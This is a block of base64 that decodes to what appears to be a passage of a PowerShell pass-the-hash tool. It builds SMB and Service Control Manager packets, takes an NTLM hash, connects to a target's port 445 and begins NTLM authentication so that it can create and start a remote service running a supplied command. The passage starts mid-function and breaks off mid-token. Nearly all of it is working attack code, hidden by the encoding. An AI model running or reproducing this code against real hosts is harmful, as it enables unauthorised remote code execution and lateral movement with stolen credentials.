KICAgIHBhcmFtIChbQnl0ZVtdXSRwYWNrZXRfc2VydmljZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZV9sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2UuTGVuZ3RoICsgOTIpDQogICAgW0J5dGVbXV0kcGFja2V0X2ZyYWdfbGVuZ3RoID0gJHBhY2tldF93cml0ZV9sZW5ndGhbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9hbGxvY19oaW50ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2UuTGVuZ3RoICsgNjgpDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgPSBbU3RyaW5nXSgxLi4yIHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgPSAkcGFja2V0X3JlZmVyZW50X0lEMS5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgKz0gMHgwMCwweDAwDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgPSBbU3RyaW5nXSgxLi4yIHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgPSAkcGFja2V0X3JlZmVyZW50X0lEMi5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgKz0gMHgwMCwweDAwDQoNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfTWFjaGluZU5hbWVfUmVmZXJlbnRJRCIsJHBhY2tldF9yZWZlcmVudF9JRDEpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX01hY2hpbmVOYW1lX01heENvdW50IiwkcGFja2V0X3NlcnZpY2VfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19NYWNoaW5lTmFtZV9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19NYWNoaW5lTmFtZV9BY3R1YWxDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfTWFjaGluZU5hbWUiLCRwYWNrZXRfc2VydmljZSkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfRGF0YWJhc2VfUmVmZXJlbnRJRCIsJHBhY2tldF9yZWZlcmVudF9JRDIpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX0RhdGFiYXNlX05hbWVNYXhDb3VudCIsW0J5dGVbXV0oMHgwZiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX0RhdGFiYXNlX05hbWVPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19EYXRhYmFzZV9OYW1lQWN0dWFsQ291bnQiLFtCeXRlW11dKDB4MGYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19EYXRhYmFzZSIsW0J5dGVbXV0oMHg1MywweDAwLDB4NjUsMHgwMCwweDcyLDB4MDAsMHg3NiwweDAwLDB4NjksMHgwMCwweDYzLDB4MDAsMHg2NSwweDAwLDB4NzMsMHgwMCwweDQxLDB4MDAsMHg2MywweDAwLDB4NzQsMHgwMCwweDY5LDB4MDAsMHg3NiwweDAwLDB4NjUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19Vbmtub3duIixbQnl0ZVtdXSgweGJmLDB4YmYpKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19BY2Nlc3NNYXNrIixbQnl0ZVtdXSgweDNmLDB4MDAsMHgwMCwweDAwKSkNCiAgICANCiAgICByZXR1cm4gJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVw0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jb250ZXh0X2hhbmRsZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZV9sZW5ndGgsDQogICAgICAgICAgICBbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZCxbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZF9sZW5ndGgpDQogICAgICAgICAgICAgICAgDQogICAgJHBhY2tldF9yZWZlcmVudF9JRCA9IFtTdHJpbmddKDEuLjIgfCBGb3JFYWNoLU9iamVjdCB7InswOlgyfSIgLWYgKEdldC1SYW5kb20gLU1pbmltdW0gMSAtTWF4aW11bSAyNTUpfSkNCiAgICAkcGFja2V0X3JlZmVyZW50X0lEID0gJHBhY2tldF9yZWZlcmVudF9JRC5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRCArPSAweDAwLDB4MDANCg0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19Db250ZXh0SGFuZGxlIiwkcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19TZXJ2aWNlTmFtZV9NYXhDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZU5hbWVfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZU5hbWVfQWN0dWFsQ291bnQiLCRwYWNrZXRfc2VydmljZV9sZW5ndGgpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VOYW1lIiwkcGFja2V0X3NlcnZpY2UpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0Rpc3BsYXlOYW1lX1JlZmVyZW50SUQiLCRwYWNrZXRfcmVmZXJlbnRfSUQpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0Rpc3BsYXlOYW1lX01heENvdW50IiwkcGFja2V0X3NlcnZpY2VfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EaXNwbGF5TmFtZV9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EaXNwbGF5TmFtZV9BY3R1YWxDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfRGlzcGxheU5hbWUiLCRwYWNrZXRfc2VydmljZSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQWNjZXNzTWFzayIsW0J5dGVbXV0oMHhmZiwweDAxLDB4MGYsMHgwMCkpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VUeXBlIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZVN0YXJ0VHlwZSIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VFcnJvckNvbnRyb2wiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19CaW5hcnlQYXRoTmFtZV9NYXhDb3VudCIsJHBhY2tldF9jb21tYW5kX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQmluYXJ5UGF0aE5hbWVfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQmluYXJ5UGF0aE5hbWVfQWN0dWFsQ291bnQiLCRwYWNrZXRfY29tbWFuZF9sZW5ndGgpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0JpbmFyeVBhdGhOYW1lIiwkcGFja2V0X2NvbW1hbmQpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX05VTExQb2ludGVyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfVGFnSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19OVUxMUG9pbnRlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EZXBlbmRTaXplIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfTlVMTFBvaW50ZXIzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfTlVMTFBvaW50ZXI0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfUGFzc3dvcmRTaXplIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTQ01TdGFydFNlcnZpY2VXKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICAkcGFja2V0X1NDTVN0YXJ0U2VydmljZVcgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU0NNU3RhcnRTZXJ2aWNlVy5BZGQoIlNDTVN0YXJ0U2VydmljZVdfQ29udGV4dEhhbmRsZSIsJHBhY2tldF9jb250ZXh0X2hhbmRsZSkNCiAgICAkcGFja2V0X1NDTVN0YXJ0U2VydmljZVcuQWRkKCJTQ01TdGFydFNlcnZpY2VXX1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TQ01TdGFydFNlcnZpY2VXDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTQ01EZWxldGVTZXJ2aWNlVygpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KDQogICAgJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVyA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVy5BZGQoIlNDTURlbGV0ZVNlcnZpY2VXX0NvbnRleHRIYW5kbGUiLCRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVw0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICAkcGFja2V0X1NDTV9DbG9zZVNlcnZpY2VXID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NDTV9DbG9zZVNlcnZpY2VXLkFkZCgiU0NNQ2xvc2VTZXJ2aWNlV19Db250ZXh0SGFuZGxlIiwkcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU0NNX0Nsb3NlU2VydmljZVcNCn0NCg0KZnVuY3Rpb24gRGF0YUxlbmd0aDINCnsNCiAgICBwYXJhbSAoW0ludF0kbGVuZ3RoX3N0YXJ0LFtCeXRlW11dJHN0cmluZ19leHRyYWN0X2RhdGEpDQoNCiAgICAkc3RyaW5nX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9VSW50MTYoJHN0cmluZ19leHRyYWN0X2RhdGFbJGxlbmd0aF9zdGFydC4uKCRsZW5ndGhfc3RhcnQgKyAxKV0sMCkNCg0KICAgIHJldHVybiAkc3RyaW5nX2xlbmd0aA0KfQ0KDQppZigkaGFzaCAtbGlrZSAiKjoqIikNCnsNCiAgICAkaGFzaCA9ICRoYXNoLlN1YlN0cmluZygoJGhhc2guSW5kZXhPZigiOiIpICsgMSksMzIpDQp9DQoNCmlmKCREb21haW4pDQp7DQogICAgJG91dHB1dF91c2VybmFtZSA9ICREb21haW4gKyAiXCIgKyAkVXNlcm5hbWUNCn0NCmVsc2UNCnsNCiAgICAkb3V0cHV0X3VzZXJuYW1lID0gJFVzZXJuYW1lDQp9DQoNCiRwcm9jZXNzX0lEID0gW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzXTo6R2V0Q3VycmVudFByb2Nlc3MoKSB8IFNlbGVjdC1PYmplY3QgLWV4cGFuZCBpZA0KJHByb2Nlc3NfSUQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHByb2Nlc3NfSUQpKQ0KJHByb2Nlc3NfSUQgPSAkcHJvY2Vzc19JRCAtcmVwbGFjZSAiLTAwLTAwIiwiIg0KW0J5dGVbXV0kcHJvY2Vzc19JRF9ieXRlcyA9ICRwcm9jZXNzX0lELlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiRTTUJfY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQokU01CX2NsaWVudC5DbGllbnQuUmVjZWl2ZVRpbWVvdXQgPSA2MDAwMA0KDQp0cnkNCnsNCiAgICAkU01CX2NsaWVudC5Db25uZWN0KCRUYXJnZXQsIjQ0NSIpDQp9DQpjYXRjaA0Kew0KICAgIFdyaXRlLU91dHB1dCAiJFRhcmdldCBkaWQgbm90IHJlc3BvbmQiDQp9DQoNCmlmKCRTTUJfY2xpZW50LkNvbm5lY3RlZCkNCnsNCiAgICAkU01CX2NsaWVudF9zdHJlYW0gPSAkU01CX2NsaWVudC5HZXRTdHJlYW0oKQ0KICAgICRTTUJfY2xpZW50X3JlY2VpdmUgPSBOZXctT2JqZWN0IFN5c3RlbS5CeXRlW10gMTAyNA0KICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05lZ290aWF0ZVNNQicNCg0KICAgIHdoaWxlKCRTTUJfY2xpZW50X3N0YWdlIC1uZSAnZXhpdCcpDQogICAgew0KICAgICAgICANCiAgICAgICAgc3dpdGNoICgkU01CX2NsaWVudF9zdGFnZSkNCiAgICAgICAgew0KDQogICAgICAgICAgICAnTmVnb3RpYXRlU01CJw0KICAgICAgICAgICAgeyAgICAgICAgICANCiAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzIgMHgxOCAweDAxLDB4NDggMHhmZiwweGZmICRwcm9jZXNzX0lEX2J5dGVzIDB4MDAsMHgwMCAgICAgICANCiAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCAkU01CX3ZlcnNpb24NCiAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbNC4uN10pIC1lcSAnZmYtNTMtNGQtNDInKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJFNNQl92ZXJzaW9uID0gJ1NNQjEnDQogICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05UTE1TU1BOZWdvdGlhdGUnDQoNCiAgICAgICAgICAgICAgICAgICAgaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzM5XSkgLWVxICcwZicpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlNNQiBzaWduaW5nIGlzIGVuYWJsZWQiDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmcgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmVnb3RpYXRlX2ZsYWdzID0gMHgxNSwweDgyLDB4MDgsMHhhMA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nID0gJGZhbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fa2V5X2xlbmd0aCA9IDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9uZWdvdGlhdGVfZmxhZ3MgPSAweDA1LDB4ODIsMHgwOCwweGEwDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdOZWdvdGlhdGVTTUIyJw0KDQogICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVs3MF0pIC1lcSAnMDMnKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTTUIgc2lnbmluZyBpcyBlbmFibGVkIg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX25lZ290aWF0ZV9mbGFncyA9IDB4MTUsMHg4MiwweDA4LDB4YTANCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZyA9ICRmYWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmVnb3RpYXRlX2ZsYWdzID0gMHgwNSwweDgwLDB4MDgsMHhhMA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJ05lZ290aWF0ZVNNQjInDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJFNNQjJfdHJlZV9JRCA9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fSUQgPSAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEID0gMQ0KICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDAwLDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRCAgDQogICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdA0KICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpICAgIA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05UTE1TU1BOZWdvdGlhdGUnDQogICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAnTlRMTVNTUE5lZ290aWF0ZScNCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzMgMHgxOCAweDA3LDB4YzggMHhmZiwweGZmICRwcm9jZXNzX0lEX2J5dGVzIDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF9uZWdvdGlhdGUgPSBHZXQtUGFja2V0T